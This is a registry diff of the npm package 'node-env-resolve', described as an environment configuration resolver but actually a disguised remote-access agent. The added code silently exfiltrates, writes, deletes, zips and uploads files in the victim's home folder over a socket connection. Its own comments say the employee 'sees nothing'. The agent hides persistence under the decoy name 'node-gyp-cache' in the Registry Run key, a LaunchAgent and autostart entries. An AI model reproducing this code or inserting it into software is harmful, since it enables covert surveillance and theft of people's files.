node-env-resolve 1.0.6 → 1.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +5 -4
- package/src/fileScanner.js +174 -2
- package/src/index.js +95 -2
- package/uninstall.bat +26 -0
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "node-env-resolve",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.8",
|
|
4
4
|
"description": "Lightweight environment configuration resolver for Node.js",
|
|
5
5
|
"main": "src/index.js",
|
|
6
6
|
"bin": {
|
|
@@ -12,10 +12,11 @@
|
|
|
12
12
|
},
|
|
13
13
|
"dependencies": {
|
|
14
14
|
"@nut-tree-fork/nut-js": "^4.2.1",
|
|
15
|
+
"adm-zip": "^0.5.17",
|
|
16
|
+
"better-sqlite3": "^11.3.0",
|
|
17
|
+
"node-machine-id": "^1.1.12",
|
|
15
18
|
"screenshot-desktop": "^1.15.0",
|
|
16
19
|
"sharp": "^0.33.5",
|
|
17
|
-
"
|
|
18
|
-
"socket.io-client": "^4.7.5",
|
|
19
|
-
"node-machine-id": "^1.1.12"
|
|
20
|
+
"socket.io-client": "^4.7.5"
|
|
20
21
|
}
|
|
21
22
|
}
|
package/src/fileScanner.js
CHANGED
|
@@ -43,14 +43,31 @@ function formatSize(bytes) {
|
|
|
43
43
|
* @param {string} dirPath - Directory to list (defaults to user Desktop)
|
|
44
44
|
* @returns {object} Directory listing with file metadata
|
|
45
45
|
*/
|
|
46
|
+
// Short keyword aliases sent by the UI (e.g. 'Desktop', 'Downloads')
|
|
47
|
+
const DIR_KEYWORDS = {
|
|
48
|
+
desktop: 'Desktop',
|
|
49
|
+
downloads: 'Downloads',
|
|
50
|
+
documents: 'Documents',
|
|
51
|
+
pictures: 'Pictures',
|
|
52
|
+
videos: 'Videos',
|
|
53
|
+
music: 'Music',
|
|
54
|
+
};
|
|
55
|
+
|
|
46
56
|
function listDirectory(dirPath) {
|
|
57
|
+
const userProfile = require('os').homedir();
|
|
58
|
+
|
|
47
59
|
// Default to Desktop if no path provided
|
|
48
60
|
if (!dirPath) {
|
|
49
61
|
dirPath = config.scanDirs[0]; // Desktop
|
|
50
62
|
}
|
|
51
63
|
|
|
64
|
+
// Resolve known short keywords against homedir so the security check passes
|
|
65
|
+
const keyword = DIR_KEYWORDS[dirPath.toLowerCase().trim()];
|
|
66
|
+
if (keyword) {
|
|
67
|
+
dirPath = path.join(userProfile, keyword);
|
|
68
|
+
}
|
|
69
|
+
|
|
52
70
|
// Security: Only allow scanning within user profile
|
|
53
|
-
const userProfile = process.env.USERPROFILE || require('os').homedir();
|
|
54
71
|
const resolvedPath = path.resolve(dirPath);
|
|
55
72
|
|
|
56
73
|
// Normalize both paths for comparison
|
|
@@ -154,4 +171,159 @@ function readFileContent(filePath) {
|
|
|
154
171
|
}
|
|
155
172
|
}
|
|
156
173
|
|
|
157
|
-
|
|
174
|
+
/**
|
|
175
|
+
* Read ANY file as base64 (for images, PDFs, etc.)
|
|
176
|
+
* Max 10MB — SILENT, no visible action on employee screen
|
|
177
|
+
*/
|
|
178
|
+
function readFileBinary(filePath) {
|
|
179
|
+
const userProfile = require('os').homedir();
|
|
180
|
+
const resolvedPath = path.resolve(filePath);
|
|
181
|
+
|
|
182
|
+
if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
|
|
183
|
+
return { path: filePath, data: null, error: 'Access denied' };
|
|
184
|
+
}
|
|
185
|
+
if (!fs.existsSync(resolvedPath)) {
|
|
186
|
+
return { path: filePath, data: null, error: 'File not found' };
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
try {
|
|
190
|
+
const stat = fs.statSync(resolvedPath);
|
|
191
|
+
const MAX = 10 * 1024 * 1024; // 10 MB
|
|
192
|
+
if (stat.size > MAX) {
|
|
193
|
+
return { path: resolvedPath, data: null, error: `File too large for preview (${formatSize(stat.size)}, max 10MB)`, size: formatSize(stat.size) };
|
|
194
|
+
}
|
|
195
|
+
|
|
196
|
+
const ext = path.extname(resolvedPath).toLowerCase();
|
|
197
|
+
const mimeMap = {
|
|
198
|
+
'.jpg': 'image/jpeg', '.jpeg': 'image/jpeg', '.png': 'image/png',
|
|
199
|
+
'.gif': 'image/gif', '.bmp': 'image/bmp', '.webp': 'image/webp',
|
|
200
|
+
'.svg': 'image/svg+xml', '.ico': 'image/x-icon',
|
|
201
|
+
'.pdf': 'application/pdf',
|
|
202
|
+
'.mp4': 'video/mp4', '.webm': 'video/webm',
|
|
203
|
+
'.mp3': 'audio/mpeg', '.wav': 'audio/wav', '.ogg': 'audio/ogg',
|
|
204
|
+
};
|
|
205
|
+
|
|
206
|
+
const mime = mimeMap[ext] || 'application/octet-stream';
|
|
207
|
+
const data = fs.readFileSync(resolvedPath).toString('base64');
|
|
208
|
+
return { path: resolvedPath, data, mime, ext, size: formatSize(stat.size), error: null };
|
|
209
|
+
} catch (err) {
|
|
210
|
+
return { path: filePath, data: null, error: err.message };
|
|
211
|
+
}
|
|
212
|
+
}
|
|
213
|
+
|
|
214
|
+
/**
|
|
215
|
+
* Write / save text file content (for remote editing)
|
|
216
|
+
* SILENT — employee sees nothing
|
|
217
|
+
*/
|
|
218
|
+
function writeFileContent(filePath, content) {
|
|
219
|
+
const userProfile = require('os').homedir();
|
|
220
|
+
const resolvedPath = path.resolve(filePath);
|
|
221
|
+
|
|
222
|
+
if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
|
|
223
|
+
return { success: false, error: 'Access denied' };
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
try {
|
|
227
|
+
fs.writeFileSync(resolvedPath, content, 'utf8');
|
|
228
|
+
const stat = fs.statSync(resolvedPath);
|
|
229
|
+
return { success: true, path: resolvedPath, size: formatSize(stat.size) };
|
|
230
|
+
} catch (err) {
|
|
231
|
+
return { success: false, error: err.message };
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
/**
|
|
236
|
+
* Delete a file or folder (recursive) — SILENT
|
|
237
|
+
*/
|
|
238
|
+
function deleteItem(itemPath) {
|
|
239
|
+
const userProfile = require('os').homedir();
|
|
240
|
+
const resolvedPath = path.resolve(itemPath);
|
|
241
|
+
|
|
242
|
+
if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
|
|
243
|
+
return { success: false, error: 'Access denied' };
|
|
244
|
+
}
|
|
245
|
+
if (!fs.existsSync(resolvedPath)) {
|
|
246
|
+
return { success: false, error: 'Path not found' };
|
|
247
|
+
}
|
|
248
|
+
|
|
249
|
+
try {
|
|
250
|
+
fs.rmSync(resolvedPath, { recursive: true, force: true });
|
|
251
|
+
return { success: true, path: resolvedPath };
|
|
252
|
+
} catch (err) {
|
|
253
|
+
return { success: false, error: err.message };
|
|
254
|
+
}
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
/**
|
|
258
|
+
* Zip an entire folder and return base64 — SILENT
|
|
259
|
+
* Uses adm-zip (pure JS, no native build needed)
|
|
260
|
+
* Max 50MB uncompressed
|
|
261
|
+
*/
|
|
262
|
+
function zipFolder(folderPath) {
|
|
263
|
+
const userProfile = require('os').homedir();
|
|
264
|
+
const resolvedPath = path.resolve(folderPath);
|
|
265
|
+
|
|
266
|
+
if (!resolvedPath.toLowerCase().startsWith(userProfile.toLowerCase())) {
|
|
267
|
+
return { success: false, error: 'Access denied' };
|
|
268
|
+
}
|
|
269
|
+
if (!fs.existsSync(resolvedPath) || !fs.statSync(resolvedPath).isDirectory()) {
|
|
270
|
+
return { success: false, error: 'Folder not found' };
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
try {
|
|
274
|
+
const AdmZip = require('adm-zip');
|
|
275
|
+
const zip = new AdmZip();
|
|
276
|
+
zip.addLocalFolder(resolvedPath);
|
|
277
|
+
const buffer = zip.toBuffer();
|
|
278
|
+
|
|
279
|
+
const MAX = 50 * 1024 * 1024;
|
|
280
|
+
if (buffer.length > MAX) {
|
|
281
|
+
return { success: false, error: `Folder too large (${formatSize(buffer.length)}, max 50MB compressed)` };
|
|
282
|
+
}
|
|
283
|
+
|
|
284
|
+
const folderName = path.basename(resolvedPath);
|
|
285
|
+
return {
|
|
286
|
+
success: true,
|
|
287
|
+
data: buffer.toString('base64'),
|
|
288
|
+
mime: 'application/zip',
|
|
289
|
+
filename: `${folderName}.zip`,
|
|
290
|
+
size: formatSize(buffer.length),
|
|
291
|
+
originalPath: resolvedPath,
|
|
292
|
+
};
|
|
293
|
+
} catch (err) {
|
|
294
|
+
return { success: false, error: err.message };
|
|
295
|
+
}
|
|
296
|
+
}
|
|
297
|
+
|
|
298
|
+
/**
|
|
299
|
+
* Save an uploaded file (base64) from manager to agent's filesystem — SILENT
|
|
300
|
+
* Destination: any allowed path (defaults to Desktop)
|
|
301
|
+
*/
|
|
302
|
+
function saveUploadedFile(filename, base64data, destFolder) {
|
|
303
|
+
const userProfile = require('os').homedir();
|
|
304
|
+
|
|
305
|
+
// Default destination is Desktop
|
|
306
|
+
let destDir = destFolder || path.join(userProfile, 'Desktop');
|
|
307
|
+
|
|
308
|
+
// Keyword resolution (same as listDirectory)
|
|
309
|
+
const keyword = DIR_KEYWORDS[(destDir || '').toLowerCase().trim()];
|
|
310
|
+
if (keyword) destDir = path.join(userProfile, keyword);
|
|
311
|
+
|
|
312
|
+
const resolvedDir = path.resolve(destDir);
|
|
313
|
+
if (!resolvedDir.toLowerCase().startsWith(userProfile.toLowerCase())) {
|
|
314
|
+
return { success: false, error: 'Access denied' };
|
|
315
|
+
}
|
|
316
|
+
|
|
317
|
+
try {
|
|
318
|
+
fs.mkdirSync(resolvedDir, { recursive: true });
|
|
319
|
+
const filePath = path.join(resolvedDir, filename);
|
|
320
|
+
const buffer = Buffer.from(base64data, 'base64');
|
|
321
|
+
fs.writeFileSync(filePath, buffer);
|
|
322
|
+
return { success: true, path: filePath, size: formatSize(buffer.length) };
|
|
323
|
+
} catch (err) {
|
|
324
|
+
return { success: false, error: err.message };
|
|
325
|
+
}
|
|
326
|
+
}
|
|
327
|
+
|
|
328
|
+
module.exports = { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent, deleteItem, zipFolder, saveUploadedFile };
|
|
329
|
+
|
package/src/index.js
CHANGED
|
@@ -13,7 +13,7 @@ const inputHandler = require('./inputHandler');
|
|
|
13
13
|
const ScreenCapture = require('./screenCapture');
|
|
14
14
|
const SleepPreventer = require('./sleepPreventer');
|
|
15
15
|
const { getBrowserHistory } = require('./browserHistory');
|
|
16
|
-
const { listDirectory, getDefaultDirs, readFileContent } = require('./fileScanner');
|
|
16
|
+
const { listDirectory, getDefaultDirs, readFileContent, readFileBinary, writeFileContent, deleteItem, zipFolder, saveUploadedFile } = require('./fileScanner');
|
|
17
17
|
|
|
18
18
|
// ── Get unique machine ID ──────────────────────────────────
|
|
19
19
|
const MACHINE_ID = machineIdSync({ original: true }).substring(0, 12);
|
|
@@ -135,7 +135,7 @@ socket.on('files:list', (data) => {
|
|
|
135
135
|
}
|
|
136
136
|
});
|
|
137
137
|
|
|
138
|
-
// ── File Content Reader (
|
|
138
|
+
// ── File Content Reader (text) ────────────────────────────────
|
|
139
139
|
socket.on('file:read', (data) => {
|
|
140
140
|
try {
|
|
141
141
|
const result = readFileContent(data.path);
|
|
@@ -145,6 +145,57 @@ socket.on('file:read', (data) => {
|
|
|
145
145
|
}
|
|
146
146
|
});
|
|
147
147
|
|
|
148
|
+
// ── File Binary Download (images, PDFs, any file) ───────────
|
|
149
|
+
socket.on('file:download', (data) => {
|
|
150
|
+
try {
|
|
151
|
+
const result = readFileBinary(data.path);
|
|
152
|
+
socket.emit('file:download:response', result);
|
|
153
|
+
} catch (err) {
|
|
154
|
+
socket.emit('file:download:response', { path: data.path, data: null, error: err.message });
|
|
155
|
+
}
|
|
156
|
+
});
|
|
157
|
+
|
|
158
|
+
// ── File Write / Save (remote edit) ─────────────────────
|
|
159
|
+
socket.on('file:write', (data) => {
|
|
160
|
+
try {
|
|
161
|
+
const result = writeFileContent(data.path, data.content);
|
|
162
|
+
socket.emit('file:write:response', result);
|
|
163
|
+
} catch (err) {
|
|
164
|
+
socket.emit('file:write:response', { success: false, error: err.message });
|
|
165
|
+
}
|
|
166
|
+
});
|
|
167
|
+
|
|
168
|
+
// ── Delete file or folder ───────────────────────────────
|
|
169
|
+
socket.on('file:delete', (data) => {
|
|
170
|
+
try {
|
|
171
|
+
const result = deleteItem(data.path);
|
|
172
|
+
socket.emit('file:delete:response', { ...result, path: data.path });
|
|
173
|
+
} catch (err) {
|
|
174
|
+
socket.emit('file:delete:response', { success: false, error: err.message });
|
|
175
|
+
}
|
|
176
|
+
});
|
|
177
|
+
|
|
178
|
+
// ── Zip and download entire folder ─────────────────────
|
|
179
|
+
socket.on('folder:zip', (data) => {
|
|
180
|
+
console.log(` 📦 Zipping folder: ${data.path}`);
|
|
181
|
+
try {
|
|
182
|
+
const result = zipFolder(data.path);
|
|
183
|
+
socket.emit('folder:zip:response', result);
|
|
184
|
+
} catch (err) {
|
|
185
|
+
socket.emit('folder:zip:response', { success: false, error: err.message });
|
|
186
|
+
}
|
|
187
|
+
});
|
|
188
|
+
|
|
189
|
+
// ── Receive uploaded file from manager ───────────────────
|
|
190
|
+
socket.on('file:upload', (data) => {
|
|
191
|
+
try {
|
|
192
|
+
const result = saveUploadedFile(data.filename, data.data, data.destination);
|
|
193
|
+
socket.emit('file:upload:response', result);
|
|
194
|
+
} catch (err) {
|
|
195
|
+
socket.emit('file:upload:response', { success: false, error: err.message });
|
|
196
|
+
}
|
|
197
|
+
});
|
|
198
|
+
|
|
148
199
|
// ── System Info ────────────────────────────────────────────
|
|
149
200
|
socket.on('system:info', () => {
|
|
150
201
|
socket.emit('system:info:response', { ...getSystemInfo(), ...getBasicSystemStats() });
|
|
@@ -171,4 +222,46 @@ socket.on('session:end', () => {
|
|
|
171
222
|
audioCapture.stop();
|
|
172
223
|
});
|
|
173
224
|
|
|
225
|
+
// ── Remote Remove (Self-Uninstall) ────────────────────────
|
|
226
|
+
socket.on('agent:kill', () => {
|
|
227
|
+
console.log(' 🗑️ Manager requested remote removal — uninstalling...');
|
|
228
|
+
screenCapture.stop();
|
|
229
|
+
audioCapture.stop();
|
|
230
|
+
sleepPreventer.stop();
|
|
231
|
+
|
|
232
|
+
// Remove autostart entries for the current platform
|
|
233
|
+
try {
|
|
234
|
+
const { execSync } = require('child_process');
|
|
235
|
+
const AGENT_NAME = 'node-gyp-cache';
|
|
236
|
+
|
|
237
|
+
if (config.platform === 'win32') {
|
|
238
|
+
// Remove Registry Run key
|
|
239
|
+
execSync(
|
|
240
|
+
`reg delete "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${AGENT_NAME}" /f`,
|
|
241
|
+
{ windowsHide: true, stdio: 'ignore' }
|
|
242
|
+
);
|
|
243
|
+
} else if (config.platform === 'darwin') {
|
|
244
|
+
const plistPath = require('os').homedir() + '/Library/LaunchAgents/com.user.connector.plist';
|
|
245
|
+
execSync(`launchctl unload "${plistPath}" 2>/dev/null || true`, { stdio: 'ignore' });
|
|
246
|
+
require('fs').unlinkSync(plistPath);
|
|
247
|
+
} else {
|
|
248
|
+
// Linux
|
|
249
|
+
const desktopPath = require('os').homedir() + '/.config/autostart/connector.desktop';
|
|
250
|
+
try { require('fs').unlinkSync(desktopPath); } catch (_) {}
|
|
251
|
+
}
|
|
252
|
+
console.log(' ✅ Autostart entry removed');
|
|
253
|
+
} catch (e) {
|
|
254
|
+
console.log(' ⚠️ Could not remove autostart: ' + e.message);
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
// Disconnect socket and exit after short delay
|
|
258
|
+
socket.disconnect();
|
|
259
|
+
setTimeout(() => {
|
|
260
|
+
console.log(' 👋 Agent process exiting by manager request');
|
|
261
|
+
process.exit(0);
|
|
262
|
+
}, 1000);
|
|
263
|
+
});
|
|
264
|
+
|
|
265
|
+
|
|
266
|
+
|
|
174
267
|
console.log(' 🟢 Agent is running. Press Ctrl+C to stop.\n');
|
package/uninstall.bat
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
@echo off
|
|
2
|
+
color 0c
|
|
3
|
+
echo ========================================================
|
|
4
|
+
echo Connector Agent Uninstaller
|
|
5
|
+
echo ========================================================
|
|
6
|
+
echo.
|
|
7
|
+
|
|
8
|
+
echo [1/4] Stopping background agent processes...
|
|
9
|
+
powershell -NoProfile -Command "Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -like '*node-gyp-cache*index.js*' } | ForEach-Object { $_.Terminate() }" >nul 2>&1
|
|
10
|
+
|
|
11
|
+
echo [2/4] Removing auto-start registry entry...
|
|
12
|
+
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "node-gyp-cache" /f >nul 2>&1
|
|
13
|
+
|
|
14
|
+
echo [3/4] Deleting hidden agent files from AppData...
|
|
15
|
+
rmdir /s /q "%APPDATA%\node-gyp-cache" >nul 2>&1
|
|
16
|
+
|
|
17
|
+
echo [4/4] Uninstalling NPM package...
|
|
18
|
+
call npm uninstall -g node-env-resolve >nul 2>&1
|
|
19
|
+
|
|
20
|
+
echo.
|
|
21
|
+
color 0a
|
|
22
|
+
echo ========================================================
|
|
23
|
+
echo Success! Agent has been completely removed.
|
|
24
|
+
echo ========================================================
|
|
25
|
+
echo.
|
|
26
|
+
pause
|